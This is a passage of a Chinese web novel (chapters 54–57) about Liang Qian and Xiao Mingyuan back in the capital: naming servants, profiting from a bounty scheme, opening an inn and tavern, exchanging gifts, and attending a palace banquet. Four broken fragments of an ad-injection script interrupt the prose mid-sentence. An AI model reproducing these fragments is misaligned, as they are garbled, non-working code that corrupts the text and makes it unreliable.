梁浅顺着队伍前行的方向看去,明汐穿着军装在队伍中转身朝梁浅看过来,手里还拿着梁浅送的玉佩朝梁浅挥手告别,梁浅也笑着挥手,手上戴着明汐送的铃铛手链。 队伍逐渐远去,梁浅这才转过身来看着大眼瞪小眼的大个儿小个子,“你们真愿意跟着我去京城,你们在此地就没有什么眷恋的了?” 小个子将包袱有往上背了背,然后摊手说道:“头儿,您是个识得文化的,又跟着救了这城中百姓,还给我们吃饭的钱,我们佩服, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敬佩,心甘情愿跟着您。 至于这儿嘛,我俩从小相依为命,没啥亲人,这里的风沙也看得惯了,没啥眷恋。” 梁浅点了点头,又看向了大个子,大个子看着他哥哥,用力点了点头,“我也是,哥哥从小一直对我好,什么好吃的都先给我,我信哥哥的,哥哥去哪儿我去哪儿。” 梁浅此时才转身看向月银,有些冷脸地说道:“所以,禀报得如何了?我可否带人了?” 月银行礼道是,然后才朝对面的两人问道:“既然要跟着入府,可得记录下你们的户籍姓名才是,你们俩就叫大个儿小个子?” 两人呆呆地点了点头,随后小个子又补充说道:“我们本家姓王,只是许久没有人叫,就不常提了。” 梁浅此时伸手拉住了正在记录的月银,“且慢,那我给你们取个名字可好?” 对面两人对视了一眼,然后朝梁浅狠狠点着头,此时万星也忙完过来看热闹,刚好听到梁浅说取名字,便从月银身后探了个脑袋出来。 “夫人这不会学将军给我们取名一样,要给这两人也取写文雅又寓意深刻的吧。”万星有些打趣地说道,可对面的两人还未与之熟络,所以还以为这话是故意讽刺,便有些不好意思的低下了头。 梁浅白了万星一眼,然后回怼道:“是,你家将军最有学识,我倒是觉得,不用书本上扣字眼也能有好寓意的名字才是。” 梁浅想了一下,便对大个儿小个子说道:“那大个儿就叫阿福罢,小个子就叫阿财。” 梁浅说完,阿福阿财便眼睛亮了起来,忙说道:“好听好听。” 可站在一旁的万星月银却忍不住偷笑了起来,万星甚至边笑边说道:“夫人取的名字倒像是给那啥取的名字一样。” “我还没有说完,你们本家姓王,刚刚这个只算得小名,你们大名嘛,就叫王福之,王财之,福,自然是有福之人的意思,财不仅是富贵之意,更是同才,是有才之人,这之便是愿二位福泽绵长,富贵长享。” 梁浅一脸骄傲地说完,福之财之听了更是连连竖起大拇指,月银也只是低头记录,万星也闭了嘴,不再说话。 “夫人之才,萧某敬佩,只不过再不出发,今日怕是要晚了。”萧明渊边鼓掌边向梁浅走来。 梁浅点了点头捂着嘴偷笑,然后又转身同月银万星说道:“对了,这两人是我的人,还望两位大人好好待福之财之,今后你们可就一起做事了,明白?” 月银万星点了点头,便带着福之财之走到了队伍中做起了安排,梁浅这才伸手牵住萧明渊递过来的手与他一起上了马车,回京,又是怎样一番光景? 而这个马车可比两人在京城出行坐的马车小了许多,加之许多茶水物件都在车上,显得空间极其狭小,梁浅这次只有紧靠着萧明渊坐下。 随着萧明渊下令,车队也终于动了起来,梁浅看着窗外的街道,想到这些时日在这里经历的一切,不禁感慨万分。 54. 有钱啦 马车里,梁浅并排同萧明渊坐着,等到出了城,梁浅看了看马车前后,月银亲自架着马车,后面也是万星和福之他们,梁浅这才神神秘秘地问起萧明渊。 “萧明渊?你睡了吗?”梁浅见萧明渊还在闭目养神,便伸手拍了拍他的肩膀,萧明渊听到梁浅的声音便睁开了眼睛,转头看向梁浅。 “没有,娘子可是饿了,车上放的有吃的,我找给你。” 梁浅拉住了萧明渊要去打开包袱的手,摇了摇头,“我是想问你,嗯,你为何要养私兵?你之前也说陛下信任你,召你回京也是为了牵制丞相,我一时真想不通你这样做的理由。” “怎的?怕我谋朝篡位?”萧明渊笑着说道,手里还是将包袱里的饼拿了出来,递到了梁浅手上,又伸手去拿水壶。 “我不太相信,你会谋朝篡位,图权?可如今的陛下手里实权也没有多少,哪怕你和丞相两家都退场,朝里朝外都还有这么多势力牵制,这也并不想你想要的。 图财?就更不可能了,上次去找你家的账房先生,那几十上百两的现银你是说支出来就支出来,全然不用到各地钱庄取用,况且还有许多私产,也不像哩。” 梁浅便拿着大饼吃着,便同萧明渊认真地说着,忽而瞪大了眼睛,像是想到了什么不可思议的事情,“不会是?” 见梁浅也转过头来看着自己,萧明渊也心生好奇,期待地看着梁浅,想看看她要说出什么样的答案。 梁浅看了看周围,才又低声说道:“你不会是看上了皇帝的哪个妃子?想强取豪夺罢!” 萧明渊无奈摇头,看梁浅一脸认真的样子,忍不住在她额头上弹了一下,“你这小脑瓜整日都在想些什么?” 梁浅哎呦一声,然后摸着自己的脑门,佯装生气地说道:“我只是一种猜测嘛,那你说是为什么?我想不通。” “没有为什么,暂时什么谋朝篡位什么的,我懒得想,不过是未雨绸缪罢了,若是真有一天我与丞相斗败了,或是陛下彻底失信于我,至少还有个退路。”萧明渊语气平和地说道。 “哦,这样啊,那你此番来寻我们,通敌的那个军师也被杀了,你怎么交代?陛下那里可还说得过去?”梁浅端着大饼继续啃着,眼神真诚的看着萧明渊。 “放心,除他之外,很多事情我都清楚了,证据在手,就说他在攻城时被乱箭射死了就是,他透露的那个,别样红,没有切实的踪迹,我暂时也不打算告知陛下。” 萧明渊说完又开始闭目养神,忽而又睁开眼睛偏着头看着梁浅,“娘子这是关心为夫?” 梁浅眼睛一眯,伸手将他的头掰过去,“算是吧,我更担心你能不能付给我钱才是。” 梁浅确实有些担心萧明渊耍赖不付尾款,虽然昨日就同他说了,张口要了一千两,结果他说出门得急,如今身上只带了五百两银票,就都给了梁浅。 而梁浅在如约将无面的合作钱给了,还偷偷还了烟晴的钱,给明汐也塞了些钱,还资助了一大坊中的人,先下钱也没有剩余多少了,自然是有些着急。 倒不是怕萧明渊不给,而是怕到时候回京,他将什么管家权账本啥的丢给自己,让自己拿的话,这账面可就不好做了,还是得从他手里拿才是。 萧明渊不禁失笑,“你个财迷,放心罢,回去我就先把钱给你,保证不让你饿着。” 梁浅听到钱眼睛都亮了,“得嘞,多谢萧大人。” * 这几日的路上,梁浅换回了女装,认真表演着萧夫人的角色,沿路有萧明渊的好友相邀,还有一些官员得了消息接待。 总之,等终于到了京城之时,梁浅已经累得在马车上睡着了…… 萧明渊轻声唤着梁浅,“娘子,娘子,到家了。” 梁浅迷迷糊糊地从萧明渊的肩膀上醒了过来,然后揉了揉眼睛,“到了啊?” 萧明渊收拾起马车上的东西,将自己的公文文书放到一旁,又转过来拉梁浅,梁浅见状问道:“你还不回家吗?” 萧明渊轻轻摇了摇头,然后弯身起来,在梁浅的额头亲了一下,便先下了马车,“你先回家休息,我还有事,午饭晚饭都不必等我,把自己喂饱就好。” 梁浅下车时嗔怪地打他一下,“什么叫喂饱,将我当什么?” 两人打闹着,一旁的月银忍住笑意,忙上前去将马车上的物件都拿了下来,才跟着梁浅回了府中。 梁浅一回到房中,便赶紧将自己在集市上买的礼物拿给芸香,吃了饭后仿佛打了鸡血一般,带着芸香出了门。 “师父师父,你想徒儿没有?”梁浅拉着无情撒娇着,无情却只是淡定地喝着茶。 “你啊,这一番又是多管闲事了不是?自己可有受伤?”无情还是崩不住高冷人设,拉着她的手关心着。 梁浅甜甜地笑着同无情说道:“无事无事,师父,之前赏金的事情怎么样了?” 无情指了指自己房间角落的一个箱子,叹了叹气,“嗯,确实如你所料,他们确实信了,阁中的赏金榜也真没有这件事情了,我也按照你之前说的,要的现银金子而非银票。 果然,丞相府就忙了起来,丞相日常收的贿赂自然是各种奇珍异宝,若是拿白银黄金的,要么是看不上,要么是不方便用,所以他们府中的管事也在钱庄四处换起了金子。 还有就是,我蒙面去拿赏金之时,真的有人埋伏。” 梁浅惊呼,忙拉住无情到处看了起来,“那师父可有受伤?” 无情摇了摇头,又继续说道:“无碍,阁主派了人帮我掩护了踪迹,我也拿了钱财去城外绕了一圈才回来的,而且如今都没有再接什么事来做,现下是往城外追去了,寻不得我的踪迹。” “那千两黄金?”只见梁浅一脸期待地看着师父。 “千两黄金倒是不见得,百两黄金倒定是有的,且我收了些在你说的那个……秘密基地,对,其他的我也找了门路换成了银两银票,他们不会发现的。” 无情说完,两人对视了一眼便高兴得哈哈大笑起来,梁浅甚至觉得自己要笑得吐了,“有钱了!师父!有钱了!” 无情先恢复了理智,将茶水倒了起来喝着,“好了好了,徒儿,说正事,你将那女娃带过来作甚?” “师父,复仇之事如今还没有线索,我们还需要在京城呆上一段时间,不如我们用这些本金开个酒楼和客栈,不说赚什么大钱,倒是可以把这钱运作起来,而且人来人往的,自然比我们出门到人海茫茫中找线索强。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 无情用手轻轻敲击着桌面,心里认真盘算着梁浅说的这番话,最后还是点了点头,“那阿浅,你如何打算的?” “师父您之前不是说这家酒楼您做到了主厨,老板还曾和您商量过可能过段时间要关店的事?”梁浅又将茶水倒好递到了师父的面前,一脸期待的看着师父。 “嗯,张老板是同我说过要回乡去,想将这酒楼关了……阿浅,你的意思是,我们包下来,我们自己做?” “正是,师父,我们在城门口的茶铺也帮忙投些钱修缮一番,届时成了股东,也可以随时去问问听听最近发生的消息什么的,而这酒楼您也熟悉了,到时候不就是驾轻就熟? 外面我带过来的女娃,是个勤奋有头脑的,我想请她来我这里在干个客栈的老板娘才是,想必很快,今年的考生便会进京了,届时我们不仅可以好好赚上一笔,还能得知各地的消息,一举两得。”梁浅说完,无情听得连连点头,两人又哈哈大笑了起来。 * “芸香,这酒楼逛得如何?吃点东西。”梁浅一脸笑意地走了过来,手里还拿着无情刚刚做的糕点。 “小姐,这鸿运酒楼很是气派,不过……我看了眼菜单,定的价格未免有些高了,想必会让许多人望而却步。”芸香一改平日里谦卑恭敬的样子,而是眼睛更加明亮,更多了些自信。 无情走上前来,饶有兴趣的看着眼前这个小姑娘,“娘子这话从何说来?” “我跟着小姐进了京城后,常会到街上采买,时不时也会遇到几家大户人家的丫鬟一起说说话。 他们的主子皆为京城中的高门贵女,去的酒楼,都是京城里数一数二的大酒楼,不是有百年历史名冠天下,就是背后有人撑腰保障,更不说各家官员谈事,自然也是会选自己熟悉的,或者是那家朋友家开的。”芸香边继续参观着酒楼边同几人分析着。 梁浅恍然大悟的样子,“哦,所以芸香你的意思是,这鸿运酒楼这几样都不占,自然想长久做大户人家的生意是不太行的,而这菜单同普通人家做生意未免太贵了些。” 梁浅心想,这不就是下沉市场嘛,而且芸香定是也看出自己和这酒楼的关系,在暗示自己,若是不愿出面正是做这家的东家,只在背后赚钱,自然只有放弃那些高端人士的市场,反而应该将目光着眼于这京城中的普通人。 芸香点了点头,而梁浅也瞥见自己师父对这位掌柜也很是满意,心里的大石头便落了地。 “到时候在这旁边再开个客栈,考生来了之后,既可以在旁边住宿又能来酒楼吃饭!”梁浅已经满心雀跃的计划着之后的安排了,“这个给你,手续我前些日子来了信给这位晴娘子,她已然办好了,芸香。” 梁浅将身契递给了芸香,芸香接过身契,打开一看,顿时眼泪便滚落了下来。 芸香拿着身契跪在了梁浅的身前,梁浅忙拉她起来,可她却始终不动,“芸香在此深谢小姐,小姐之恩,芸香无以为报,愿……” “好啦,芸香,我不是要你报恩才帮你的。”梁浅本来又想说起自己的人人平等概念,但是心想她或许还是接受不了,便又说道,“你帮了我许多,我却无以为报,这件事就算我的小小心意,我还要请你当这酒楼的掌柜才是。” 55. 荷包 芸香跟梁浅和酒楼的前老板谈完了生意,回到萧府正好赶上了晚饭,芸香忙着去收拾东西,梁浅便直接上桌吃了起来。 吃了一大口肉才反应过来,“管家大叔,夫君可回来了?” 管家笑眯眯的,眼睛都眯成了一条缝,“哎呦,大人说无妨,不必等大人吃饭,夫人自己吃就是,夫人吃饱喝好才是府里的头等大事。” 管家一脸谄媚的样子,梁浅顿时差点笑得呛出来,之前萧明渊在的时候,这位管家只是站在一旁一句话不说,如今萧明渊不在,居然……这么有意思? 于是当梁浅吃完饭坐在廊下绣荷包的时候,管家也十分有眼力见的在一旁端茶倒水,梁浅一脸懵地接过茶水,终于忍不住出声问道:“管家大叔?您这是?” “哟,夫人,这茶水可是烫着了?” “没有没有,我是想问您这是作甚?之前我在府中也未见您这样过。” 管家突然笑得很羞涩的样子,梁浅皱着眉忍住笑意,看着他继续表演,“嗐,小人看人眼拙,原以为夫人是娇生惯养苛刻无比的大小姐,想不到夫人竟然愿意为将军做到这种地步,此番真可谓上刀山下火海啊,小人敬佩不已。” 管家说着说着竟然还拭起了眼泪,“小人从小看着少将军长大,他孤苦这么些年,总算是有个家了……” 梁浅心想不知道月银又和管家说了什么,怎么都到上刀山下火海的地步了,自己不是也就相当于出差嘛,然后便伸手安慰起了管家,“好了好了,别哭了别哭了。” 正在管家大叔终于能喘匀气的时候,萧明渊正好回来了,他还穿着早上那身淡紫色的衣袍,脸上的疲惫却挡不住他的好心情。 “可用过饭了,夫君?” “嗯,吃过了,娘子晚饭可吃饱了?” 梁浅无奈地垫了垫脚说道:“吃饱啦,事情进展可还顺利?” “嗯,王二交到了大理寺,文书也写得差不多了,陛下那边我也都禀报了,现下无事我便回来了。”萧明渊看着梁浅满眼笑意,也注意到了她手中已经完工的荷包。 “娘子这是?” “哦,这是你要的荷包,我终于绣好了。” 梁浅欢欣鼓舞地将荷包递了过去,萧明渊也十分期待地接过了荷包。 只不过,在看到荷包上绣的花样的时候,萧明渊还是皱起了眉毛。 “为夫斗胆请教娘子,娘子这绣的是何物啊?”萧明渊犹豫片刻,还是决定开口问问,心想自己虽然看不懂,但是说不定有什么特别的寓意。 在萧明渊问出口的时候,就做好了梁浅可能会生气的准备,无论谁用心绣的东西别人拿到首先不是赞美,而是问绣的是什么东西的时候,她可能都会生气。 可梁浅表情没有什么变化,反而是更开心了一些,像是计谋得逞一般,同萧明渊介绍着。 “你没有见过吧,此物名唤海绵宝宝。”梁浅的嘴笑成了月牙状,看着自己好不容易作出的成品十分欣慰。 而面前的萧明渊显然头更大了起来,“海绵?宝宝?”管家大叔也觉得好奇,也探过头来看。 “大人,不论是什么,都是夫人的心意,先夸先夸。”管家用他自以为很小的声音同萧明渊说着,梁浅只是装作没有听到的样子,还是很期待对面的反应。 “妙!夫人之才惊世骇俗,这般花样为夫在京城,甚至在军中都从未见过……嗯,还是想请教夫人,这花开并蒂,鸳鸯戏水为夫都懂其用意,这海绵宝宝……可有什么说法?” 萧明渊看着手上笑容憨态可掬的海绵宝宝,心里实在是好奇,可于梁浅而言,这只不过只是自己会的唯一一样“花样”。 还是自己大学要送给自己闺蜜的礼物,想亲手做才有意义,这才网购了一个十字绣的海绵宝宝,现如今能依稀缝出来一个就不错了,还要寓意。 可当梁浅抬头看到两双眨巴眨巴的眼睛,甚至还有一份想知道答案的真诚和迫切在,自己心里的吐槽还是说不出口。 “嗯,海绵其实是海底的一种生物,它可以生存百年甚至千年之久,寓意嘛,就是比喻你我百年好合,恩爱千年?至于这……宝宝嘛。”梁浅皱着眉头认真想着措辞。 站在一旁的管家灵机一动,忙谄媚地补充道:“想必是视如珍宝,还有早生贵子之意。” 梁浅听到这话只是呆呆地眨了眨眼,然后只是对着萧明渊尴尬地点头,微笑,而萧明渊却很难得的脸上出现一抹害羞的笑意。 “多谢娘子的心意。”萧明渊笑眯眯地拿着荷包朝梁浅行礼,管家也特别有眼力见的接过荷包帮忙挂在了萧明渊的腰带上,萧明渊也神气十足地走来走去。 两人笑得半天合不拢嘴,梁浅见到萧明渊这般孩子气的样子不禁无奈地摇了摇头,下一秒萧明渊便拉着梁浅进了房间。 梁浅站在一旁,见萧明渊神神秘秘从他的箱子里面拿了一个精致的小盒出来,“我好像在哪里见过。” “这是我上任之前就要选好的,只不过那几日太忙,总找不到合适的时机,如今娘子也送了我荷包,我自然也是要回礼的。”萧明渊将盒子递到梁浅的手中,梁浅双手认真接过。 木盒打开,里面静静躺着一把精致的梳子,上面精致的镌刻着一只像是正在涅槃而生的凤凰,看起来木料也不差。 “这是?一把梳子,寓意是我们两个纠缠到老?”梁浅有些打趣的说道,然后满脸笑意的看着萧明渊。 “嗯,文雅些的说法,是白头到老。” * 京城外,众人都在排队检查着文书户籍,排队的人大多都背着行囊,有老有少,一脸书生样,而就在进城后的第一个茶铺也坐满了看客。 “唉,你看那位,我觉得这小伙子不错,今年定然高中。” “嗯?小伙子?他胡子都有你我的长了,满脸的褶子,不知道是考了多少年的了,再看他今日进城没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有半分神韵,尽是疲惫,不成不成。” “唉,那这个,你看就这儿会儿功夫他还在看书,定是个刻苦用功的。” “这叫临时抱佛脚,也不成,若是运气好,不过也是个末尾的,不成不成。” “唉,我知道了,这位……” “哇,这位的样貌就今年这些人里看来,真是一等一的,虽然看上去有些秀气,却感觉机敏得很,精气神也好,定是能高中的,走走走,我们快去问问,他可有住处了。” 说话的一位是看着这一切很是稀奇,这正是跟着梁浅一同来到京城的阿财,另一位则是之前随梁浅一同从柳家来的侍从,如今到酒楼当差的宋琪,两人得了掌柜和东家的信来此处拉客。 “公子呀,可是进京赶考?如今可寻到住处了?”宋琪先张口朝那位秀气的书生问道。 书生个子不高,发髻梳得整齐,不像其他赶路人一般蓬头垢面,见有人来问,忙回礼道:“小生正是进京赶考之人,京中也未有什么熟识的人,故还未寻到住所。” 听到这话,财之忙上前去将手搭在书生的肩膀上,满脸笑容,“那正好,小兄弟就随我们去咱家新开的客栈罢,保证物美价廉。” 书生有些不好意思的笑了笑,见对面两人面容慈善,也拿出了正规的客栈腰牌,也放下了戒备,点了点头,“那就劳烦兄台带路了。” 三人绕过两条街,便见到了一条全新的招牌,上面写着三个大字,“好运来”。 “这名字倒甚是别致。”书生抬头见到招牌后连连点头,一旁的两人也笑得合不拢嘴。 “正是,这是咱东家取的名字,请的是咱家的书法大师写的。”宋琪一脸傲娇地说着。 “哦?不知是哪位大师?”书生自然是最关心这些的,所以连连向两人打听。 “嗯,不能透露太多,只能告诉你姓萧。” 正在此时两位女子从店里走了出来,正是芸香和梁浅,芸香今日开业,也当起了掌柜,身穿着一席红衣,而梁浅则穿着一件淡黄衣裳跟在后面。 “好了,你俩别在这里吹了,快去里面帮帮福之罢,这会儿人都进来吃酒了,怕是忙不过来,这里有我们。”梁浅一脸笑意地看着要进门的三人,最后目光落在书生身上。 福之跟着宋奇走了进去,从两人旁边路过时还不忘说,“掌柜的,别忘了记,这人可是我们找来的。” 芸香拿着扇子笑道:“放心,不会少了你们的,快去罢。”然后芸香也转身看向书生。 “公子可是来考功名的,快快进来罢,我们还有上好的最后一间雅间,新店开业,也祝公子得个好功名,我们可比其他客栈便宜,房间吃食也一点不差。” 显然芸香已经十分上道了,梁浅满脸欣慰,只是跟在身后笑而不语。 “还未问过公子姓氏名谁,又是从何而来?” “小生冯伏嘉,家乡不过是个小地方,不值一提。” 56. 你又升官了? 这几日,梁浅和萧明渊的相处总是隐隐中透露着尴尬,每日早晚两人如新婚之时一样,早上萧明渊要去上朝时亲亲蜷在被窝里的梁浅,晚上要睡时梁浅亲亲在榻上躺着的萧明渊,然后就这样相安无事。 白日里,梁浅常常去酒楼帮忙,或者自己练马,在酒楼听听各种消息,而萧明渊也在忙着自己的事,梁浅也懒得过问,而就在梁浅正吃晚饭的时候,宫里又传了消息过来。 “又,又升官了?萧大人?”梁浅有些吃惊的看着眼前一眼得意的男子,伸手接过了他的官帽。 萧明渊脸上带有笑意却又未曾怎么表现,梁浅同他坐了下来,思索一会儿,梁浅一脸了然的点了点头。 “嗯,自从新帝继位以来,众人都说新帝孱弱,不过是靠着丞相和太后,手中无权,后来更是将你从军中要了回来,可如今看来,我觉得倒是一个心机深沉,又深谋远虑之人。” 萧明渊一脸好奇的撑着手在桌子上看着梁浅,“娘子此话怎讲?” 梁浅咳了两声,清了清嗓子。 “先说让你回京这招,不仅能让丞相转移在他身上的注意,从而明里暗里同你斗得难分高下,还能鹬蚌相争,渔翁得利,悄无声息地就从你和丞相手中拿权回去。” “其二嘛,便是这绵里藏针的功夫,若是你一回来便给你封个一品二品的,你自然居功自傲,权势更盛大,他与丞相都压不住你。 可他却先给了你一个看似无足轻重的小官,还给了你进出宫中,参与各项议事的特权,恩惠一点一点施。 与外人看来,这便是给你的下马威,让那些想同你站队之人慎重考虑,与你而言,一直都在给你好处看似还是重视你得很,而到了如今却弄得你不好意思了?” 萧明渊撇了撇嘴,将手抱了回去,“放心,娘子,这些我都看得清楚。” “我知道你看得清楚,可是你敢说今日他又当众恩赐之时,你未曾欢喜过?若是有,那他的目的便达到了。”梁浅将手中端着的糕点递给了萧明渊,然后注视着他的眼睛。 梁浅本来想调侃他的,却在注视他眼睛的那一刻,就这样呆住了,脑子里面竟然只闪过一句话,“他的眼睛真好看。” 梁浅一时走了神,萧明渊淡定的接过糕点却发现梁浅一动不动。 “娘子?” “哦哦,在呢?” 萧明渊噗嗤一笑,“我还以为娘子一见到我便失了魂……哦,还有一事忘了同娘子讲了,陛下邀我们一同进宫,一是为庆贺青月长公主的生辰,二也是提拔我让我顺道进宫谢恩。” “我?们?”梁浅指了指自己,以往这些宫里宫外的应酬不过都是萧明渊去的,梁浅也懒得去,怎么如今自己想当个闲人的时候,萧明渊倒是叫起自己了。 “正,是,你我一同进宫,就在三日后。”萧明渊认真的说道。 “为何要我一同去?” “我知道你向来不喜欢这种场合,之前我都称你是病了,将这些都推了,可这几日你常在街上,许多人都知道了你,自然瞒不过陛下了,故此陛下此次点名要你也来。” 梁浅摸着自己的下巴回忆着,莫非是自己在酒楼帮忙卖酸梅汤的时候被之前王家的人认了出来?自己进京真正知道自己真实身份的人也没有多少呀。 莫非是?丞相的人?这样就能说得通了。 “娘子?” “哦哦,我又走神了,好,知道了,到时候我与你同去就是。” 梁浅正打算回屋结果才转身就被萧明渊拉住了,“还有何事?夫君。” 只见萧明渊站起身来,从怀里拿出一个用红布包着的东西递到梁浅面前,梁浅伸手接过,结果打开红布,里面包着的是一把同心锁,上面刻着富贵平安。 “今日我们去城外的月老庙查探消息,回来的时候,我见门口有卖这物件,我想娘子定是喜欢的,便买来送给娘子。” 萧明渊站到梁浅面前,伸手托着梁浅捧着同心锁的手,然后将梁浅的手握在自己手中,眼神真挚地看着梁浅。 梁浅突然笑了,抬头看着萧明渊,“嗯,这富贵平安正是我喜欢的,可夫君不会不知道,这同心锁就是挂在月老庙的罢。” 萧明渊突然一愣,“怪不得其他几位年纪轻的同僚都说要下回再带着心悦之人一同前来,我只想着好看的好玩的要给娘子带回来,却忘了这茬。” 梁浅不禁哈哈大笑,笑得必须手撑在桌子上才能站稳,“好好,不知道说萧大人您这是与众不同呢?还是与众不同。” “娘子莫要笑我,娘子若是再笑我,我可要生气了。”萧明渊学着之前梁浅佯装生气的模样将手抱在身前,噘着嘴,等着梁浅来哄。 没有想到梁浅直接走了过来掐住了萧明渊撅着的嘴,噗嗤又笑了出来,而萧明渊则眼睛直直盯着梁浅,像是没有想到梁浅会如此一般,而嘴上任由梁浅掐着。 见萧明渊被掐得有些生气了,梁浅忙见好就收,将同心锁包好拿在手里,“好了,今日也有些晚了,我们就将这锁挂在院里的桃树上也是一样的,走吧。” “这还差不多。”萧明渊语气终于软了下来,任凭梁浅拉着往后院走去。 * 次日,在梁浅正在酒楼里的桌上算着这些天的账目时,一个身影走到梁浅面前,挡住了一直闪眼睛的光,梁浅随即抬头看向来人。 “周玉大人,好久不见,近日可好?”梁浅笑着问道,随即又朝一旁的小二说道,“小二,给这位大人看茶。” “多谢夫人,近日一切如常,萧大人帮忙给我提了职,如今在礼部帮忙。”周玉礼数周到的朝梁浅行礼,说完才在梁浅的对面坐下。 “周大人来找我可是有什么事?”梁浅装作不在意的样子继续看着账本,其实自己心里已经猜到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了几分他的用意。 “夫人和大人此番可还顺利,如今我不在大理寺了,那案子后来知道的也就不多了。”周玉在同梁浅暗示着。 梁浅合上账本,气定神闲地说道:“放心,周大人,我知道你对这案子上心,也出了不少力,如今萧大人不是提了你?况且我才回京不就派人给你送了些银两?又或许,大人是用不上了。” 梁浅之所以这样说,就是因为在自己才回京之时,从一直盯着周玉的人口中了解到,这些时日周玉混得不错,甚至还和丞相有了些许牵连,丞相府的一位幕僚常送东西到周家院子里。 梁浅心里对这个人有了一些怀疑,但是却并不确定,因为这个人给自己的印象实在太好,翩翩公子,有自己的原则,应该不会同丞相这样的人为伍,或者说不会背叛自己。 “夫人这说的是哪里的话,我和朝中各位大人皆有公事上的来往,更何况,这是在丞相大人的手底下做事,虽然我在陛下,在萧大人眼中不过是微不足道的一个小官,可我还是有自己的家要养不是?且我的正事也从未有所耽误,不知道夫人这番话是指代何意?” 可是当梁浅不经意瞥见他的还是有些破洞补丁却很干净的鞋时,心里的隐隐的疑惑和生气就被打消了。 是啊,丞相的腐败朝中上下人尽皆知,这些年这么多人,谁又能独善其身,自己这话说出来不过也是权势压人,人家想寻个好差事,多赚些钱是理所应当的,自己又哪里来的资格审判人家。 “嗯,周大人说得是,之后还望周大人更勤勉些才是,我们城中上下的老百姓说不定都能受到您的恩泽。” “恩泽不敢当,只不过小人必然尽力而为。”周玉说完又站起身朝梁浅行礼,正打算离开,梁浅又叫住了他,“周大人?还想请问周大人一件事。” 梁浅这些日子查到一个线索,既然这周玉在这朝中有一段时间了,且这些日子也常围着丞相转,说不定他知道些内情。 “周大人可知道丞相是哪里人?” “只听得好像是长月人?”周玉思索了片刻才向梁浅行礼回道,梁浅有些失落的点了点头,又将在一旁打瞌睡的福之叫了起来。 “嗯,福之,去给大人提两吊好肉来,再打两壶酒给大人一同带回去。”梁浅说完才走出来同周玉站在一起,周玉又鞠躬行礼道谢。 “不必如此客气,周大人,都当是给伯母带的。” 周玉接过酒,上面写着千方醉三个大字,又转了身回来,“夫人,小人这些日子在礼部做事,常听得人说,宫里的太后娘娘最爱的便是这千方醉,每当中秋必然是要有的。” “哦?可这千方醉最出名的便是许溪,而这长月可没有这么好的酒。” 梁浅将自己的猜测说了出来,而周玉也直视梁浅的眼神,然后浅浅一笑便行礼离开了。 竟然丞相和太后都不是长月人吗!? 57. 宫宴 梁浅呆若木鸡的坐在萧明渊的身旁,看着一直到两人面前来敬酒寒暄的人,始终保持着自己的官方假笑。 梁浅满脑子只是想着,自己怎么会答应萧明渊进宫的,早知道就装病算了,本来想进宫来顺便探查一下能不能找到什么可疑之处的,现在却只在这里脱不了身,而且,真的很饿啊! “陛下公主什么时候来呀?夫君,还不上菜,要被饿死了。”梁浅捂着自己咕咕叫的肚子往萧明渊旁边靠了靠。 萧明渊对第一回参加宫宴的梁浅没有表现出半点的不耐烦,反而一路上也随她说笑,自己时不时还跟着附和几句。 原来小时候觉得冰冷的宫墙在此时也变得没有那么让人感觉不寒而栗了。 “应该快了,娘子,我这里给娘子带了肉干,娘子可要尝尝?”萧明渊说着边将包好的肉干递给梁浅。 “嗯嗯,明汐来信说这种肉干最好吃了,要是再配上点好酒,简直就是人间乐事,不过宫里这酒喝着没劲。” 梁浅用力点了点头,接过东西然后鬼鬼祟祟的在桌子底下拆开,然后迅速放了半块到嘴里嚼了起来,然后看向对面的丞相。 “夫君,近日不是要科考了,你说丞相大人当年科考是多少名?”梁浅对于能当丞相的人,科考成绩是相当好奇,虽然这人不咋地,但是能到今天这个位置,或多或少还是有些才能的吧? 萧明渊拿起酒杯正打算喝,听到梁浅这一问反而是顿住了,认真地回忆了起来。 “嗯,丞相大人入仕之时,我还未出生呢,嘶,只依稀记得从哪里听来说丞相当年并非榜首,说是有什么科举舞弊,后来是先帝亲自出马才压制住局面的,丞相也是他的恩师为他作保这才走上仕途的。” 梁浅点了点头,虽然自己派了人去调查丞相的户籍,可是他都在朝这么多年了,哪怕证明他户籍有假,考试成绩有疑,他一句自己这些年劳苦功高不就什么都抵消了。 梁浅突然眯起眼睛,“说起来,夫君当年可有参加过科考?” 萧明渊好不容易喝到嘴里的酒差点呛了出来,“咳,未曾。” “哦?为何呢?夫君是直接承继了老将军的位置,所以便不打算再入文官?”梁浅一脸好奇地问道。 而萧明渊此时的脸变得有些不自然,甚至可以说是有些脸红,梁浅才不管旁人,只是直勾勾的看着萧明渊,甚至都有人在小声议论,梁浅也全然不管,只是期待着萧明渊的答案。 而萧明渊也是隔了半晌才说道:“为夫不通文墨,若是科考,定是取不得好成绩的,自然就不丢这个脸了。” 梁浅一脸看破不说破的表情,你不通文墨,书房里面的字不知道谁写的,书也不知道谁看的,骗谁呢。 正在梁浅无聊发呆之际,门口传来了随侍的声音,皇上太后以及长公主一行人都来了,众人忙起身迎接。 待几位都上座,梁浅也抬头认真观察了起来,终于见到这天天活在传闻中的皇帝太后长什么样子了。 皇帝感觉和萧明渊年龄不相上下,但是身材要瘦弱许多,一双眼睛倒是十分有神,气质倒是感觉有几分儒雅,坐在一旁的皇后也感觉慈眉善目,华贵的服饰却藏不住她的些许书香气质。 而太后娘娘除了雍容华贵,梁浅只能赞叹她的气场了,太后虽不算绝世美人,却也能想象到年轻时定是明艳动人得很,如今更是透露着自信和从容不迫,虽说她和丞相是兄妹嘛,她可比丞相可长得好看多了。 而这长公主嘛,就和其他几位全然不是一个画风的了,不仅衣着艳丽妆容发饰更加大胆,行为举止也更不受拘束,一坐下便大口大口的吃了起来,但若是有人上来庆贺,她也笑眯眯地回应。 正是因为梁浅一直往几人身上看,长公主也注意到了这边,当梁浅和长公主的眼睛对视上的时候,梁浅忙低下头夹菜吃,仿佛上课老师要抽问,自己刚好和老师对视上的感觉。 “这位便是萧大人的家眷罢,果然名不虚传,气质非凡,前些日子的病可好些了?” 